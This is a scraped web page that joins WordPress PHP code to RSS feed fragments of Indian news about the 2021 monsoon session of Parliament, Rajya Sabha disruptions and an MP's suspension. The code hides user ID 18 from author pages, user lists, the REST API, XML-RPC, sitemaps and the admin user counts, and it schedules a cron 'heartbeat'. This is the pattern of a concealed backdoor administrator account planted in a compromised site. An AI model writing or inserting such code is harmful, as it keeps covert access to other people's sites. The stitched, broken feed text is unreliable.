add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post The Opposition Must Apologize, says the government when Visuals of a Ruckus in the Rajya Sabha Emerge appeared first on The Edge Media.
]]>Outsiders were brought in on Wednesday to manhandle MPs, according to the opposition, who spoke to the media on Thursday, complaining about the behavior and criticizing the administration for not allowing them to discuss issues during the Monsoon Session.
Meanwhile, the Vice-President secretariat told ANI that Vice-President M Venkaiah Naidu examined the allegedly “unfortunate” sequence of events in the Parliament in a meeting with Speaker Lok Sabha Om Birla.
The post The Opposition Must Apologize, says the government when Visuals of a Ruckus in the Rajya Sabha Emerge appeared first on The Edge Media.
]]>The post Productivity of the Rajya Sabha up in the third week of monsoon session appeared first on The Edge Media.
]]>68 Rajya Sabha members from 17 parties discussed eight bills during the week.
Since the session began on July 19, 60 of the 78 hours of time of the house were lost due to disruptions. Further, 197 Zero Hour and 153 special mention occasions were lost.
Since the start of the monsoon session of parliament, the Rajya Sabha and the Lok Sabha have witnessed constant disruptions over several issues, including the Pegasus snooping scandal, with face-offs between the government and the opposition.
Prime Minister Narendra Modi on Tuesday slammed the opposition, saying repeated adjournments forced by the opposition were “an insult to the constitution… to democracy and to the public”.
Parliament is being insulted by the acts of the Opposition in both Houses. The person who snatched the paper and tore it is not repentant of his acts,” the Prime Minister told BJP MPs at a meeting.
He was referring to Trinamool MP Santanu Sen who snatched IT Minister Ashwini Vaishnaw’s papers, as he was about to make a statement on the Pegasus row.
The post Productivity of the Rajya Sabha up in the third week of monsoon session appeared first on The Edge Media.
]]>The post Shantanu Sen suspended for the remaining part of the monsoon session of Parliament appeared first on The Edge Media.
]]>Mr. Sen’s suspension comes a day after he snatched and tore the statement on Pegasus which the Minister for Electronics and Information Technology Ashwini Vaishnaw was reading.
The motion seeking his suspension was moved by Minister of State for Parliamentary Affairs V. Muralidharan and passed by voice vote.
The Opposition parties protested against the move, saying they were not given an opportunity to respond.
TMC members Derek O’Brien and Sukendu Sekhar Roy wanted the member concerned given an opportunity to speak. Mr. O’Brien said that after the House was adjourned on Thursday, Mr. Sen was roughed up. “We saw boorish behaviour and hooliganism in this House,” he added.
In response, Chairman M. Venkaiah Naidu said this issue was not brought to his notice.
Congress Chief Whip Jairam Ramesh asked Mr. Naidu to allow for a clarification on the statement made by Mr. Vaishnaw.
The post Shantanu Sen suspended for the remaining part of the monsoon session of Parliament appeared first on The Edge Media.
]]>The post Monsoon session of Parliament likely to commence on 19 July appeared first on The Edge Media.
]]>The nearly month-long session is likely to have around 20 sittings, the sources said.
The Monsoon session of Parliament usually commences in the third week of July and concludes ahead of Independence day.
A recommendation about the duration of the session has been made by the Cabinet Committee on Parliamentary Affairs, the sources said.
All Covid related protocols will be followed within the Parliament complex during the session, the sources said, adding that it is hoped that all those entering the complex during the session have taken at least one dose of Covid vaccine.
The post Monsoon session of Parliament likely to commence on 19 July appeared first on The Edge Media.
]]>